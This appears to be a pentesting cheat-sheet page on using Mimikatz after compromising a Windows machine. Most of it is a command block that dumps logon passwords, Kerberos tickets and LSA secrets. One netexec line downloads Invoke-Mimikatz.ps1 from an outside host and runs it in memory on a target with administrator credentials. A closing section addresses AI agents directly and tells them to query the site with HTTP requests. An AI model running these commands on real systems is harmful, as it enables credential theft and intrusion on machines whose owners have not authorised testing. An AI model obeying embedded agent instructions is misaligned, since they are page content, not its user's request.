# Mimikatz

If you are able to get mimikatz to the victim machine, you can run it to get saved password hashes or tickets.

```bash
# Run mimikatz
.\mimikatz.exe
# Output to log file
log
# Enable debug mode
privilege::debug
# Dump hashes for all users logged on to the current workstation or server, including remote logins like Remote Desktop sessions
sekurlsa::logonpasswords
# Show the tickets that are stored in memory
sekurlsa::tickets
# Dumps secrets from the LSA subsystem
lsadump::lsa /inject
# Run mimikatz within evil-winrm
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Run mimikatz via netexec
netexec smb 10.0.2.4 -u 'administrator' -p 'pass1' -X 'powershell.exe -c "wget -useb http://10.10.10.100/Invoke-Mimikatz.ps1 | iex; Invoke-Mimikatz"'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/windows-and-active-directory/post-compromise-attacks/mimikatz.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
